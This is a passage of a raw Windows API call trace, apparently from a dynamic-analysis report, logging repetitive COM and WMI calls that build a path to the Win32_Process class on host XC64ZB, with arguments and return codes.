wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0107.982] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0107.982] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0107.983] IWbemClassObject:Get (in: This=0x643200, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0107.983] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0107.983] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0107.983] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0107.983] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0107.983] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0107.983] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.984] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cfb0) returned 0x0 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cfb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0107.984] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cfb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655970) returned 0x0 [0107.984] WbemDefPath:IUnknown:Release (This=0x1b45cfb0) returned 0x0 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655970) returned 0x0 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0107.984] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0107.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d2f0) returned 0x0 [0107.984] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d2f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.984] WbemDefPath:IUnknown:Release (This=0x1b45d2f0) returned 0x3 [0107.985] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0107.985] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0107.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0107.985] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0107.985] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0107.985] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0107.985] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655970) returned 0x0 [0107.985] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0107.985] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x2 [0107.985] WbemDefPath:IWbemPath:SetText (This=0x655970, uMode=0x4, pszPath="") returned 0x0 [0107.985] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0107.985] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0107.985] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0107.985] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.986] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45d210) returned 0x0 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d210, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0107.986] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d210, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6566f0) returned 0x0 [0107.986] WbemDefPath:IUnknown:Release (This=0x1b45d210) returned 0x0 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6566f0) returned 0x0 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0107.986] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0107.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d010) returned 0x0 [0107.986] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d010, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.986] WbemDefPath:IUnknown:Release (This=0x1b45d010) returned 0x3 [0107.986] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0107.986] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0107.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0107.987] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0107.987] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0107.987] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0107.987] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6566f0) returned 0x0 [0107.987] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0107.987] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0107.987] WbemDefPath:IWbemPath:SetText (This=0x6566f0, uMode=0x4, pszPath="") returned 0x0 [0107.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0107.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655970, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0107.987] WbemDefPath:IWbemPath:GetClassName (in: This=0x6566f0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0107.987] WbemDefPath:IWbemPath:GetServer (in: This=0x6566f0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0107.987] WbemDefPath:IWbemPath:SetServer (This=0x6566f0, Name="XC64ZB") returned 0x0 [0107.987] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0107.987] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0107.987] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0107.987] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.988] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cd90) returned 0x0 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cd90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0107.988] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cd90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655a30) returned 0x0 [0107.988] WbemDefPath:IUnknown:Release (This=0x1b45cd90) returned 0x0 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655a30) returned 0x0 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0107.988] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d030) returned 0x0 [0107.988] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d030, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.988] WbemDefPath:IUnknown:Release (This=0x1b45d030) returned 0x3 [0107.988] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0107.988] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0107.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0107.989] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0107.989] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0107.989] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0107.989] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655a30) returned 0x0 [0107.989] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0107.989] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0107.989] WbemDefPath:IWbemPath:SetText (This=0x655a30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0107.989] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6566f0) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655a30, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655a30, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0107.989] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6566f0, uIndex=0x0, pszName="ROOT") returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655a30, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655a30, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0107.989] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6566f0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetClassName (in: This=0x6566f0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0107.989] WbemDefPath:IWbemPath:SetClassName (This=0x6566f0, Name="Win32_Process") returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetInfo (in: This=0x6566f0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0107.989] WbemDefPath:IWbemPath:GetInfo (in: This=0x6566f0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0107.990] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0107.990] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0107.990] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, 